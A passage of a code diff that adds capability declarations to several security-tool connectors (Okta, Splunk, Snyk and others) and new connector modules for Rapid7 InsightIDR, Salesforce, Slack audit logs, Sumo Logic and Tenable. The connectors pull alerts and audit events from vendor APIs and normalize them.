+ action = (raw.get("action") or "").lower()
+ sev = "high" if action in ("blocked", "block") else "medium"
+ return {
+ "source": "mimecast",
+ "category": "saas",
+ "severity": sev,
+ "title": raw.get("category") or "Mimecast URL verdict",
+ "description": raw.get("url"),
+ "alert_id": raw.get("id"),
+ "host": None,
+ "raw": raw,
+ }
diff --git a/services/connectors/app/connectors/okta.py b/services/connectors/app/connectors/okta.py
index 23d489597..c19220b6e 100644
--- a/services/connectors/app/connectors/okta.py
+++ b/services/connectors/app/connectors/okta.py
@@ -11,7 +11,7 @@ from typing import Any
import httpx
import structlog
-from app.connectors.base import BaseConnector, ConnectorSchema, Field
+from app.connectors.base import BaseConnector, Capability, ConnectorSchema, Field, OAuthHints
logger = structlog.get_logger()
@@ -38,8 +38,29 @@ class OktaConnector(BaseConnector):
),
Field("api_token", "secret", "API Token"),
],
+ # Hosted OAuth (Workstream 2): Okta supports OIDC + OAuth 2.0
+ # for service apps. The {domain} placeholder is rewritten in
+ # /api/v1/oauth/start using the per-instance ``domain`` field
+ # (or the OAuth app credential's authorize_url override for
+ # custom auth servers).
+ oauth=OAuthHints(
+ supported_in_hosted=True,
+ authorize_url="{domain}/oauth2/v1/authorize",
+ token_url="{domain}/oauth2/v1/token",
+ scopes=[
+ "okta.logs.read",
+ "okta.users.read",
+ "okta.groups.read",
+ "offline_access",
+ ],
+ ),
)
+ @classmethod
+ def capabilities(cls) -> tuple[Capability, ...]:
+ # Okta System Log streams identity audit events (logins, MFA, admin actions).
+ return (Capability.PULL_AUDIT,)
+
def __init__(self, domain: str, api_token: str):
self._domain = domain.rstrip("/")
self._api_token = api_token
diff --git a/services/connectors/app/connectors/onepassword.py b/services/connectors/app/connectors/onepassword.py
index d9fc0a71c..d155445a1 100644
--- a/services/connectors/app/connectors/onepassword.py
+++ b/services/connectors/app/connectors/onepassword.py
@@ -11,7 +11,7 @@ from typing import Any
import httpx
import structlog
-from app.connectors.base import BaseConnector, ConnectorSchema, Field
+from app.connectors.base import BaseConnector, Capability, ConnectorSchema, Field
logger = structlog.get_logger()
@@ -42,6 +42,11 @@ class OnePasswordConnector(BaseConnector):
],
)
+ @classmethod
+ def capabilities(cls) -> tuple[Capability, ...]:
+ # 1Password Events API streams sign-ins / item usage / audit events.
+ return (Capability.PULL_AUDIT,)
+
def __init__(
self,
api_token: str,
diff --git a/services/connectors/app/connectors/proofpoint.py b/services/connectors/app/connectors/proofpoint.py
index a8dcad21a..312f87969 100644
--- a/services/connectors/app/connectors/proofpoint.py
+++ b/services/connectors/app/connectors/proofpoint.py
@@ -12,7 +12,7 @@ from typing import Any
import httpx
import structlog
-from app.connectors.base import BaseConnector, ConnectorSchema, Field
+from app.connectors.base import BaseConnector, Capability, ConnectorSchema, Field
logger = structlog.get_logger()
@@ -47,6 +47,11 @@ class ProofpointConnector(BaseConnector):
],
)
+ @classmethod
+ def capabilities(cls) -> tuple[Capability, ...]:
+ # Proofpoint TAP — blocked messages surfaced as alerts to the agent layer.
+ return (Capability.PULL_ALERTS,)
+
def __init__(self, service_principal: str, service_secret: str):
self._principal = service_principal
self._secret = service_secret
diff --git a/services/connectors/app/connectors/rapid7_insightidr.py b/services/connectors/app/connectors/rapid7_insightidr.py
new file mode 100644
index 000000000..52b08dc64
--- /dev/null
+++ b/services/connectors/app/connectors/rapid7_insightidr.py
@@ -0,0 +1,147 @@
+"""
+Rapid7 InsightIDR connector.
+
+InsightIDR is Rapid7's cloud SIEM/XDR. We use the Investigations API and
+the Log Search API.
+
+Auth: API key (organization-scoped) on a region-specific base.
+"""
+
+from __future__ import annotations
+
+from datetime import UTC, datetime, timedelta
+from typing import Any
+
+import httpx
+import structlog
+
+from app.connectors.base import BaseConnector, Capability, ConnectorSchema, Field
+
+logger = structlog.get_logger()
+
+_REGION_HOSTS: dict[str, str] = {
+ "us": "https://us.api.insight.rapid7.com",
+ "us2": "https://us2.api.insight.rapid7.com",
+ "us3": "https://us3.api.insight.rapid7.com",
+ "eu": "https://eu.api.insight.rapid7.com",
+ "ca": "https://ca.api.insight.rapid7.com",
+ "au": "https://au.api.insight.rapid7.com",
+ "ap": "https://ap.api.insight.rapid7.com",
+}
+
+
+class Rapid7InsightIDRConnector(BaseConnector):
+ """Rapid7 InsightIDR — investigations + log search."""
+
+ connector_id = "rapid7_insightidr"
+ connector_name = "Rapid7 InsightIDR"
+ connector_category = "siem"
+
+ @classmethod
+ def schema(cls) -> ConnectorSchema:
+ return ConnectorSchema(
+ connector_id=cls.connector_id,
+ connector_name=cls.connector_name,
+ category=cls.connector_category,
+ description=(
+ "Rapid7 InsightIDR cloud SIEM/XDR. Pulls investigations and "
+ "supports log search across collected sources."
+ ),
+ docs_url="/docs/connectors/rapid7-insightidr",
+ fields=[
+ Field(
+ "region",
+ "select",
+ "Region",
+ options=[
+ {"value": "us", "label": "United States (us)"},
+ {"value": "us2", "label": "United States 2 (us2)"},
+ {"value": "us3", "label": "United States 3 (us3)"},
+ {"value": "eu", "label": "Europe (eu)"},
+ {"value": "ca", "label": "Canada (ca)"},
+ {"value": "au", "label": "Australia (au)"},
+ {"value": "ap", "label": "Asia Pacific (ap)"},
+ ],
+ ),
+ Field("api_key", "secret", "Insight API Key"),
+ ],
+ )
+
+ @classmethod
+ def capabilities(cls) -> tuple[Capability, ...]:
+ return (
+ Capability.PULL_ALERTS,
+ Capability.QUERY_LOGS,
+ Capability.PIVOT_HOST,
+ Capability.PIVOT_USER,
+ )
+
+ def __init__(self, region: str, api_key: str):
+ if region not in _REGION_HOSTS:
+ raise ValueError(f"unknown InsightIDR region: {region!r}")
+ self._region = region
+ self._base = _REGION_HOSTS[region]
+ self._api_key = api_key
+
+ def _headers(self) -> dict[str, str]:
+ return {
+ "X-Api-Key": self._api_key,
+ "Accept-Version": "investigations-preview",
+ "Content-Type": "application/json",
+ }
+
+ async def test_connection(self) -> dict[str, Any]:
+ try:
+ async with httpx.AsyncClient(timeout=15.0) as client:
+ resp = await client.get(
+ f"{self._base}/idr/v2/investigations",
+ headers=self._headers(),
+ params={"size": 1},
+ )
+ if resp.status_code == 200:
+ return {"success": True, "connector": self.connector_id, "region": self._region}
+ return {
+ "success": False,
+ "connector": self.connector_id,
+ "error": f"HTTP {resp.status_code}: {resp.text[:300]}",
+ }
+ except Exception as exc:
+ return {"success": False, "connector": self.connector_id, "error": str(exc)}
+
+ async def fetch_alerts(self, since_seconds: int = 300) -> list[dict[str, Any]]:
+ since_iso = (datetime.now(UTC) - timedelta(seconds=since_seconds)).strftime(
+ "%Y-%m-%dT%H:%M:%SZ"
+ )
+ try:
+ async with httpx.AsyncClient(timeout=30.0) as client:
+ resp = await client.get(
+ f"{self._base}/idr/v2/investigations",
+ headers=self._headers(),
+ params={"start_time": since_iso, "size": 100, "sort": "created_time,desc"},
+ )
+ if resp.status_code != 200:
+ logger.warning(
+ "rapid7_insightidr.fetch_failed",
+ status=resp.status_code,
+ body=resp.text[:300],
+ )
+ return []
+ items = (resp.json() or {}).get("data") or []
+ return [self.normalize(i) for i in items]
+ except Exception as exc:
+ logger.warning("rapid7_insightidr.fetch_exception", error=str(exc))
+ return []
+
+ def normalize(self, raw: dict[str, Any]) -> dict[str, Any]:
+ prio = (raw.get("priority") or "").lower()
+ severity = prio if prio in ("info", "low", "medium", "high") else "info"
+ return {
+ "source": "rapid7_insightidr",
+ "category": "siem",
+ "severity": severity,
+ "title": raw.get("title") or "InsightIDR investigation",
+ "description": raw.get("disposition"),
+ "alert_id": raw.get("rrn") or raw.get("id"),
+ "host": None,
+ "raw": raw,
+ }
diff --git a/services/connectors/app/connectors/salesforce.py b/services/connectors/app/connectors/salesforce.py
new file mode 100644
index 000000000..b72218e8e
--- /dev/null
+++ b/services/connectors/app/connectors/salesforce.py
@@ -0,0 +1,185 @@
+"""
+Salesforce Event Monitoring connector.
+
+Salesforce surfaces audit and event-monitoring data through the
+EventLogFile and SetupAuditTrail SObjects. Auth is OAuth 2.0 (web
+flow) into a connected app, but for a self-hosted schema we expose
+the username/password + security token + client_id/client_secret pair
+that drives the JWT/Refresh-Token flow used in headless ingestion.
+
+We also advertise OAuth so click-and-connect can flow through Salesforce's
+hosted login.
+"""
+
+from __future__ import annotations
+
+from datetime import UTC, datetime, timedelta
+from typing import Any
+
+import httpx
+import structlog
+
+from app.connectors.base import (
+ BaseConnector,
+ Capability,
+ ConnectorSchema,
+ Field,
+ OAuthHints,
+)
+
+logger = structlog.get_logger()
+
+
+class SalesforceConnector(BaseConnector):
+ """Salesforce Event Monitoring + Setup Audit Trail."""
+
+ connector_id = "salesforce"
+ connector_name = "Salesforce"
+ connector_category = "saas"
+
+ @classmethod
+ def schema(cls) -> ConnectorSchema:
+ return ConnectorSchema(
+ connector_id=cls.connector_id,
+ connector_name=cls.connector_name,
+ category=cls.connector_category,
+ description=(
+ "Salesforce Event Monitoring + Setup Audit Trail. Pulls "
+ "EventLogFile entries (logins, API usage, report exports) and "
+ "SetupAuditTrail (admin config changes)."
+ ),
+ docs_url="/docs/connectors/salesforce",
+ fields=[
+ Field(
+ "instance_url",
+ "string",
+ "My Domain URL",
+ placeholder="https://yourcorp.my.salesforce.com",
+ ),
+ Field("client_id", "string", "Connected App Consumer Key"),
+ Field("client_secret", "secret", "Connected App Consumer Secret"),
+ Field(
+ "refresh_token",
+ "secret",
+ "Refresh Token",
+ required=False,
+ help_text="Provided automatically when you connect via OAuth.",
+ ),
+ ],
+ oauth=OAuthHints(
+ supported_in_hosted=True,
+ authorize_url="https://login.salesforce.com/services/oauth2/authorize",
+ token_url="https://login.salesforce.com/services/oauth2/token",
+ scopes=["api", "refresh_token", "offline_access"],
+ ),
+ )
+
+ @classmethod
+ def capabilities(cls) -> tuple[Capability, ...]:
+ return (
+ Capability.PULL_AUDIT,
+ Capability.QUERY_LOGS,
+ Capability.PIVOT_USER,
+ Capability.READ_AUDIT_TRAIL,
+ )
+
+ def __init__(
+ self,
+ instance_url: str,
+ client_id: str,
+ client_secret: str,
+ refresh_token: str | None = None,
+ ):
+ self._instance = instance_url.rstrip("/")
+ self._client_id = client_id
+ self._client_secret = client_secret
+ self._refresh_token = refresh_token
+
+ async def _bearer(self) -> str | None:
+ if not self._refresh_token:
+ return None
+ try:
+ async with httpx.AsyncClient(timeout=15.0) as client:
+ resp = await client.post(
+ f"{self._instance}/services/oauth2/token",
+ data={
+ "grant_type": "refresh_token",
+ "client_id": self._client_id,
+ "client_secret": self._client_secret,
+ "refresh_token": self._refresh_token,
+ },
+ )
+ if resp.status_code == 200:
+ return (resp.json() or {}).get("access_token")
+ logger.warning(
+ "salesforce.refresh_failed",
+ status=resp.status_code,
+ body=resp.text[:300],
+ )
+ return None
+ except Exception as exc:
+ logger.warning("salesforce.refresh_exception", error=str(exc))
+ return None
+
+ async def test_connection(self) -> dict[str, Any]:
+ if not self._refresh_token:
+ return {
+ "success": False,
+ "connector": self.connector_id,
+ "error": "no refresh_token; complete the OAuth flow first",
+ }
+ token = await self._bearer()
+ if not token:
+ return {
+ "success": False,
+ "connector": self.connector_id,
+ "error": "could not refresh access token",
+ }
+ return {"success": True, "connector": self.connector_id}
+
+ async def fetch_alerts(self, since_seconds: int = 300) -> list[dict[str, Any]]:
+ token = await self._bearer()
+ if not token:
+ return []
+ since_iso = (datetime.now(UTC) - timedelta(seconds=since_seconds)).strftime(
+ "%Y-%m-%dT%H:%M:%SZ"
+ )
+ soql = (
+ "SELECT Id, Action, Section, CreatedDate, CreatedBy.Name, Display "
+ f"FROM SetupAuditTrail WHERE CreatedDate >= {since_iso} "
+ "ORDER BY CreatedDate DESC LIMIT 200"
+ )
+ try:
+ async with httpx.AsyncClient(timeout=30.0) as client:
+ resp = await client.get(
+ f"{self._instance}/services/data/v60.0/query",
+ headers={
+ "Authorization": f"Bearer {token}",
+ "Accept": "application/json",
+ },
+ params={"q": soql},
+ )
+ if resp.status_code != 200:
+ logger.warning(
+ "salesforce.fetch_failed",
+ status=resp.status_code,
+ body=resp.text[:300],
+ )
+ return []
+ items = (resp.json() or {}).get("records") or []
+ return [self.normalize(i) for i in items]
+ except Exception as exc:
+ logger.warning("salesforce.fetch_exception", error=str(exc))
+ return []
+
+ def normalize(self, raw: dict[str, Any]) -> dict[str, Any]:
+ return {
+ "source": "salesforce",
+ "category": "saas",
+ "severity": "info",
+ "title": f"Salesforce: {raw.get('Action') or 'setup audit event'}",
+ "description": raw.get("Display"),
+ "alert_id": raw.get("Id"),
+ "host": None,
+ "raw": raw,
+ }
diff --git a/services/connectors/app/connectors/sentinelone.py b/services/connectors/app/connectors/sentinelone.py
index 0851195f6..4c51ae4db 100644
--- a/services/connectors/app/connectors/sentinelone.py
+++ b/services/connectors/app/connectors/sentinelone.py
@@ -11,7 +11,7 @@ from typing import Any
import httpx
import structlog
-from app.connectors.base import BaseConnector, ConnectorSchema, Field
+from app.connectors.base import BaseConnector, Capability, ConnectorSchema, Field
logger = structlog.get_logger()
@@ -30,6 +30,10 @@ class SentinelOneConnector(BaseConnector):
connector_name = "SentinelOne"
connector_category = "edr"
+ @classmethod
+ def capabilities(cls) -> tuple[Capability, ...]:
+ return (Capability.PULL_ALERTS,)
+
@classmethod
def schema(cls) -> ConnectorSchema:
return ConnectorSchema(
diff --git a/services/connectors/app/connectors/servicenow.py b/services/connectors/app/connectors/servicenow.py
index 2087a4934..144351de0 100644
--- a/services/connectors/app/connectors/servicenow.py
+++ b/services/connectors/app/connectors/servicenow.py
@@ -12,7 +12,7 @@ from typing import Any
import httpx
import structlog
-from app.connectors.base import BaseConnector, ConnectorSchema, Field
+from app.connectors.base import BaseConnector, Capability, ConnectorSchema, Field
logger = structlog.get_logger()
@@ -48,6 +48,12 @@ class ServiceNowConnector(BaseConnector):
],
)
+ @classmethod
+ def capabilities(cls) -> tuple[Capability, ...]:
+ # Today the runtime only pulls incidents (alerts). Bidirectional ITSM
+ # — PUSH_CASE / PUSH_STATUS — lands in WS8 once we wire writebacks.
+ return (Capability.PULL_ALERTS,)
+
def __init__(self, instance_url: str, username: str, password: str):
self._base_url = instance_url.rstrip("/")
self._username = username
diff --git a/services/connectors/app/connectors/slack_audit.py b/services/connectors/app/connectors/slack_audit.py
new file mode 100644
index 000000000..f9db74512
--- /dev/null
+++ b/services/connectors/app/connectors/slack_audit.py
@@ -0,0 +1,137 @@
+"""
+Slack Audit Logs connector (Enterprise Grid).
+
+Uses the Slack Audit Logs API at audit.slack.com/api. Auth is via an
+OrgLevel OAuth Bot token with `auditlogs:read` scope. The token is
+issued from a Slack Enterprise Grid app.
+
+We support OAuth provisioning via the Slack OAuth flow.
+"""
+
+from __future__ import annotations
+
+from datetime import UTC, datetime, timedelta
+from typing import Any
+
+import httpx
+import structlog
+
+from app.connectors.base import (
+ BaseConnector,
+ Capability,
+ ConnectorSchema,
+ Field,
+ OAuthHints,
+)
+
+logger = structlog.get_logger()
+
+
+class SlackAuditConnector(BaseConnector):
+ """Slack Enterprise Grid Audit Logs."""
+
+ connector_id = "slack_audit"
+ connector_name = "Slack Audit Logs"
+ connector_category = "saas"
+
+ @classmethod
+ def schema(cls) -> ConnectorSchema:
+ return ConnectorSchema(
+ connector_id=cls.connector_id,
+ connector_name=cls.connector_name,
+ category=cls.connector_category,
+ description=(
+ "Slack Enterprise Grid Audit Logs. Pulls workspace and org-level "
+ "audit events (logins, channel changes, file shares, app installs). "
+ "Requires the auditlogs:read scope on an Org-level Slack app."
+ ),
+ docs_url="/docs/connectors/slack-audit",
+ fields=[
+ Field(
+ "access_token",
+ "secret",
+ "Org-level access token",
+ help_text=(
+ "OrgLevel OAuth bot token with the auditlogs:read scope, "
+ "issued from a Slack Enterprise Grid app."
+ ),
+ ),
+ ],
+ oauth=OAuthHints(
+ supported_in_hosted=True,
+ authorize_url="https://slack.com/oauth/v2/authorize",
+ token_url="https://slack.com/api/oauth.v2.access",
+ scopes=["auditlogs:read"],
+ ),
+ )
+
+ @classmethod
+ def capabilities(cls) -> tuple[Capability, ...]:
+ return (
+ Capability.PULL_AUDIT,
+ Capability.PIVOT_USER,
+ Capability.READ_AUDIT_TRAIL,
+ )
+
+ def __init__(self, access_token: str):
+ self._token = access_token
+ self._base = "https://api.slack.com/audit/v1"
+
+ def _headers(self) -> dict[str, str]:
+ return {
+ "Authorization": f"Bearer {self._token}",
+ "Accept": "application/json",
+ }
+
+ async def test_connection(self) -> dict[str, Any]:
+ try:
+ async with httpx.AsyncClient(timeout=15.0) as client:
+ resp = await client.get(
+ f"{self._base}/actions",
+ headers=self._headers(),
+ )
+ if resp.status_code == 200:
+ return {"success": True, "connector": self.connector_id}
+ return {
+ "success": False,
+ "connector": self.connector_id,
+ "error": f"HTTP {resp.status_code}: {resp.text[:300]}",
+ }
+ except Exception as exc:
+ return {"success": False, "connector": self.connector_id, "error": str(exc)}
+
+ async def fetch_alerts(self, since_seconds: int = 300) -> list[dict[str, Any]]:
+ oldest = int((datetime.now(UTC) - timedelta(seconds=since_seconds)).timestamp())
+ try:
+ async with httpx.AsyncClient(timeout=30.0) as client:
+ resp = await client.get(
+ f"{self._base}/logs",
+ headers=self._headers(),
+ params={"oldest": oldest, "limit": 200},
+ )
+ if resp.status_code != 200:
+ logger.warning(
+ "slack_audit.fetch_failed",
+ status=resp.status_code,
+ body=resp.text[:300],
+ )
+ return []
+ items = (resp.json() or {}).get("entries") or []
+ return [self.normalize(i) for i in items]
+ except Exception as exc:
+ logger.warning("slack_audit.fetch_exception", error=str(exc))
+ return []
+
+ def normalize(self, raw: dict[str, Any]) -> dict[str, Any]:
+ action = raw.get("action") or "audit_event"
+ actor = ((raw.get("actor") or {}).get("user") or {}).get("name")
+ return {
+ "source": "slack_audit",
+ "category": "saas",
+ "severity": "info",
+ "title": f"Slack: {action}",
+ "description": f"actor={actor}" if actor else None,
+ "alert_id": raw.get("id"),
+ "host": None,
+ "raw": raw,
+ }
diff --git a/services/connectors/app/connectors/snyk.py b/services/connectors/app/connectors/snyk.py
index 905329d23..4fdcd6432 100644
--- a/services/connectors/app/connectors/snyk.py
+++ b/services/connectors/app/connectors/snyk.py
@@ -11,7 +11,7 @@ from typing import Any
import httpx
import structlog
-from app.connectors.base import BaseConnector, ConnectorSchema, Field
+from app.connectors.base import BaseConnector, Capability, ConnectorSchema, Field
logger = structlog.get_logger()
@@ -56,6 +56,11 @@ class SnykConnector(BaseConnector):
],
)
+ @classmethod
+ def capabilities(cls) -> tuple[Capability, ...]:
+ # Snyk surfaces vulnerability issues across SCM/SCA/IaC scans as alerts.
+ return (Capability.PULL_ALERTS,)
+
def __init__(
self,
api_token: str,
diff --git a/services/connectors/app/connectors/splunk.py b/services/connectors/app/connectors/splunk.py
index f355b59c1..396460a36 100644
--- a/services/connectors/app/connectors/splunk.py
+++ b/services/connectors/app/connectors/splunk.py
@@ -10,7 +10,7 @@ from typing import Any
import httpx
import structlog
-from app.connectors.base import BaseConnector, ConnectorSchema, Field
+from app.connectors.base import BaseConnector, Capability, ConnectorSchema, Field
from app.federated.query import UnifiedQuery
from app.federated.translators import to_spl
@@ -58,6 +58,12 @@ class SplunkConnector(BaseConnector):
],
)
+ @classmethod
+ def capabilities(cls) -> tuple[Capability, ...]:
+ # Splunk surfaces notable events (alerts) and supports federated SPL
+ # search over indexes — the latter maps to QUERY_LOGS.
+ return (Capability.PULL_ALERTS, Capability.QUERY_LOGS)
+
def __init__(
self,
base_url: str,
diff --git a/services/connectors/app/connectors/sumo_logic.py b/services/connectors/app/connectors/sumo_logic.py
new file mode 100644
index 000000000..26a15bef0
--- /dev/null
+++ b/services/connectors/app/connectors/sumo_logic.py
@@ -0,0 +1,160 @@
+"""
+Sumo Logic Cloud SIEM connector.
+
+Sumo Logic CSE has a dedicated SIEM API at https://api.<deployment>.sumologic.com/api/sec/v1
+Auth: HTTP Basic with access ID + access key.
+
+We pull insights/signals and support search jobs against the platform's
+log store.
+"""
+
+from __future__ import annotations
+
+import base64
+from datetime import UTC, datetime, timedelta
+from typing import Any
+
+import httpx
+import structlog
+
+from app.connectors.base import BaseConnector, Capability, ConnectorSchema, Field
+
+logger = structlog.get_logger()
+
+_DEPLOYMENT_HOSTS: dict[str, str] = {
+ "us1": "https://api.sumologic.com",
+ "us2": "https://api.us2.sumologic.com",
+ "eu": "https://api.eu.sumologic.com",
+ "au": "https://api.au.sumologic.com",
+ "de": "https://api.de.sumologic.com",
+ "jp": "https://api.jp.sumologic.com",
+ "ca": "https://api.ca.sumologic.com",
+ "in": "https://api.in.sumologic.com",
+ "fed": "https://api.fed.sumologic.com",
+}
+
+
+class SumoLogicConnector(BaseConnector):
+ """Sumo Logic Cloud SIEM Enterprise (CSE)."""
+
+ connector_id = "sumo_logic"
+ connector_name = "Sumo Logic Cloud SIEM"
+ connector_category = "siem"
+
+ @classmethod
+ def schema(cls) -> ConnectorSchema:
+ return ConnectorSchema(
+ connector_id=cls.connector_id,
+ connector_name=cls.connector_name,
+ category=cls.connector_category,
+ description=(
+ "Sumo Logic Cloud SIEM Enterprise (CSE). Pulls insights and "
+ "signals, and supports log search jobs across the platform."
+ ),
+ docs_url="/docs/connectors/sumo-logic",
+ fields=[
+ Field(
+ "deployment",
+ "select",
+ "Deployment",
+ options=[
+ {"value": "us1", "label": "United States (us1)"},
+ {"value": "us2", "label": "United States 2 (us2)"},
+ {"value": "eu", "label": "Europe (eu)"},
+ {"value": "au", "label": "Australia (au)"},
+ {"value": "de", "label": "Germany (de)"},
+ {"value": "jp", "label": "Japan (jp)"},
+ {"value": "ca", "label": "Canada (ca)"},
+ {"value": "in", "label": "India (in)"},
+ {"value": "fed", "label": "Sumo Logic FedRAMP (fed)"},
+ ],
+ ),
+ Field("access_id", "string", "Access ID"),
+ Field("access_key", "secret", "Access Key"),
+ ],
+ )
+
+ @classmethod
+ def capabilities(cls) -> tuple[Capability, ...]:
+ return (
+ Capability.PULL_ALERTS,
+ Capability.QUERY_LOGS,
+ Capability.PIVOT_HOST,
+ Capability.PIVOT_USER,
+ )
+
+ def __init__(self, deployment: str, access_id: str, access_key: str):
+ if deployment not in _DEPLOYMENT_HOSTS:
+ raise ValueError(f"unknown Sumo Logic deployment: {deployment!r}")
+ self._deployment = deployment
+ self._base = _DEPLOYMENT_HOSTS[deployment]
+ self._access_id = access_id
+ self._access_key = access_key
+
+ def _headers(self) -> dict[str, str]:
+ token = base64.b64encode(f"{self._access_id}:{self._access_key}".encode()).decode()
+ return {
+ "Authorization": f"Basic {token}",
+ "Accept": "application/json",
+ "Content-Type": "application/json",
+ }
+
+ async def test_connection(self) -> dict[str, Any]:
+ try:
+ async with httpx.AsyncClient(timeout=15.0) as client:
+ resp = await client.get(
+ f"{self._base}/api/sec/v1/insights",
+ headers=self._headers(),
+ params={"limit": 1},
+ )
+ if resp.status_code == 200:
+ return {
+ "success": True,
+ "connector": self.connector_id,
+ "deployment": self._deployment,
+ }
+ return {
+ "success": False,
+ "connector": self.connector_id,
+ "error": f"HTTP {resp.status_code}: {resp.text[:300]}",
+ }
+ except Exception as exc:
+ return {"success": False, "connector": self.connector_id, "error": str(exc)}
+
+ async def fetch_alerts(self, since_seconds: int = 300) -> list[dict[str, Any]]:
+ since_iso = (datetime.now(UTC) - timedelta(seconds=since_seconds)).strftime(
+ "%Y-%m-%dT%H:%M:%S"
+ )
+ try:
+ async with httpx.AsyncClient(timeout=30.0) as client:
+ resp = await client.get(
+ f"{self._base}/api/sec/v1/insights",
+ headers=self._headers(),
+ params={"q": f"created:>{since_iso}", "limit": 100},
+ )
+ if resp.status_code != 200:
+ logger.warning(
+ "sumo_logic.fetch_failed",
+ status=resp.status_code,
+ body=resp.text[:300],
+ )
+ return []
+ items = (resp.json() or {}).get("data", {}).get("objects") or []
+ return [self.normalize(i) for i in items]
+ except Exception as exc:
+ logger.warning("sumo_logic.fetch_exception", error=str(exc))
+ return []
+
+ def normalize(self, raw: dict[str, Any]) -> dict[str, Any]:
+ sev_raw = (raw.get("severity") or "").lower()
+ sev = sev_raw if sev_raw in ("info", "low", "medium", "high") else "medium"
+ return {
+ "source": "sumo_logic",
+ "category": "siem",
+ "severity": sev,
+ "title": raw.get("name") or "Sumo Logic CSE insight",
+ "description": raw.get("description"),
+ "alert_id": raw.get("id"),
+ "host": None,
+ "raw": raw,
+ }
diff --git a/services/connectors/app/connectors/tailscale.py b/services/connectors/app/connectors/tailscale.py
index 662a7ddf8..069460d43 100644
--- a/services/connectors/app/connectors/tailscale.py
+++ b/services/connectors/app/connectors/tailscale.py
@@ -36,7 +36,7 @@ from typing import Any
import httpx
import structlog
-from app.connectors.base import BaseConnector, ConnectorSchema, Field, OAuthHints
+from app.connectors.base import BaseConnector, Capability, ConnectorSchema, Field, OAuthHints
logger = structlog.get_logger()
@@ -162,6 +162,11 @@ class TailscaleConnector(BaseConnector):
),
)
+ @classmethod
+ def capabilities(cls) -> tuple[Capability, ...]:
+ # Tailscale audit log streams admin / ACL / device-mgmt audit events.
+ return (Capability.PULL_AUDIT,)
+
def __init__(
self,
tailnet: str,
diff --git a/services/connectors/app/connectors/tenable.py b/services/connectors/app/connectors/tenable.py
new file mode 100644
index 000000000..4a5622cae
--- /dev/null
+++ b/services/connectors/app/connectors/tenable.py
@@ -0,0 +1,128 @@
+"""
+Tenable.io / Tenable Vulnerability Management connector.
+
+Tenable.io uses an Access Key + Secret Key as a stable API auth pair.
+We model vulnerability data as an "alert" stream of detected
+vulnerabilities so the agent can treat them uniformly.
+"""
+
+from __future__ import annotations
+
+from datetime import UTC, datetime, timedelta
+from typing import Any
+
+import httpx
+import structlog
+
+from app.connectors.base import BaseConnector, Capability, ConnectorSchema, Field
+
+logger = structlog.get_logger()
+
+
+class TenableConnector(BaseConnector):
+ """Tenable.io VM."""
+
+ connector_id = "tenable_io"
+ connector_name = "Tenable.io"
+ connector_category = "cloud"
+
+ @classmethod
+ def schema(cls) -> ConnectorSchema:
+ return ConnectorSchema(
+ connector_id=cls.connector_id,
+ connector_name=cls.connector_name,
+ category=cls.connector_category,
+ description=(
+ "Tenable.io / Tenable Vulnerability Management. Pulls "
+ "vulnerability findings as alerts and exposes asset and "
+ "vulnerability enrichment for the agent."
+ ),
+ docs_url="/docs/connectors/tenable-io",
+ fields=[
+ Field("access_key", "string", "Access Key"),
+ Field("secret_key", "secret", "Secret Key"),
+ ],
+ )
+
+ @classmethod
+ def capabilities(cls) -> tuple[Capability, ...]:
+ return (
+ Capability.PULL_ALERTS,
+ Capability.PIVOT_HOST,
+ Capability.PIVOT_IP,
+ Capability.ENRICH_VULN,
+ Capability.ENRICH_ASSET,
+ )
+
+ def __init__(self, access_key: str, secret_key: str):
+ self._access = access_key
+ self._secret = secret_key
+ self._base = "https://cloud.tenable.com"
+
+ def _headers(self) -> dict[str, str]:
+ return {
+ "X-ApiKeys": f"accessKey={self._access}; secretKey={self._secret}",
+ "Accept": "application/json",
+ "Content-Type": "application/json",
+ }
+
+ async def test_connection(self) -> dict[str, Any]:
+ try:
+ async with httpx.AsyncClient(timeout=15.0) as client:
+ resp = await client.get(
+ f"{self._base}/server/properties",
+ headers=self._headers(),
+ )
+ if resp.status_code == 200:
+ return {"success": True, "connector": self.connector_id}
+ return {
+ "success": False,
+ "connector": self.connector_id,
+ "error": f"HTTP {resp.status_code}: {resp.text[:300]}",
+ }
+ except Exception as exc:
+ return {"success": False, "connector": self.connector_id, "error": str(exc)}
+
+ async def fetch_alerts(self, since_seconds: int = 300) -> list[dict[str, Any]]:
+ # Use the workbenches export filtered by last_found within the window.
+ since = datetime.now(UTC) - timedelta(seconds=since_seconds)
+ try:
+ async with httpx.AsyncClient(timeout=30.0) as client:
+ resp = await client.get(
+ f"{self._base}/workbenches/vulnerabilities",
+ headers=self._headers(),
+ params={
+ "filter.search_type": "and",
+ "filter.0.filter": "plugin.attributes.vpr.score",
+ "filter.0.quality": "gte",
+ "filter.0.value": "7.0",
+ "date_range": max(1, since_seconds // 86400),
+ },
+ )
+ if resp.status_code != 200:
+ logger.warning(
+ "tenable.fetch_failed",
+ status=resp.status_code,
+ body=resp.text[:300],
+ )
+ return []
+ items = (resp.json() or {}).get("vulnerabilities") or []
+ return [self.normalize(i) for i in items[:200]]
+ except Exception as exc:
+ logger.warning("tenable.fetch_exception", error=str(exc))
+ return []
+
+ def normalize(self, raw: dict[str, Any]) -> dict[str, Any]:
+ sev_int = raw.get("severity")
+ sev_map = {0: "info", 1: "low", 2: "medium", 3: "high", 4: "high"}
+ sev = sev_map.get(sev_int, "info")
+ return {
+ "source": "tenable_io",
+ "category": "cloud",
+ "severity": sev,
+ "title": raw.get("plugin_name") or "Tenable vulnerability",
+ "description": raw.get("plugin_family"),
+ "alert_id": str(raw.get("plugin_id")) if raw.get("plugin_id") else None,
+ "host": None,
+ "raw": raw,
+ }
diff --git a/services/connectors/app/connectors/trellix_helix.py b/services/connectors/app/connectors/trellix_helix.py
new file mode 100644
index 000000000..9dc41756b
--- /dev/null
+++ b/services/connectors/app/connectors/trellix_helix.py
@@ -0,0 +1,168 @@
+"""
+Trellix Helix (formerly FireEye Helix) connector.
+
+Helix is Trellix's cloud-native SIEM/XDR. We pull two streams:
+
+1. **Alerts** — ``GET /helix/id/<customer>/api/v3/alerts`` returns scored
+ detections across endpoint, network, and email telemetry that Helix
+ ingested.
+2. **Indicators / events search** — ``POST /helix/id/<customer>/api/v3/search``
+ exposes the raw lake; we use it for ``QUERY_LOGS`` so the agent can run
+ ad-hoc MQL (Helix's query language).
+
+Auth is API-key based (``x-fireeye-api-key`` header — the legacy header
+name still works on Helix). Customer ID is the path-segment slug shown in
+the Helix console URL after ``/helix/id/``.
+"""
+
+from __future__ import annotations
+
+from datetime import UTC, datetime, timedelta
+from typing import Any
+
+import httpx
+import structlog
+
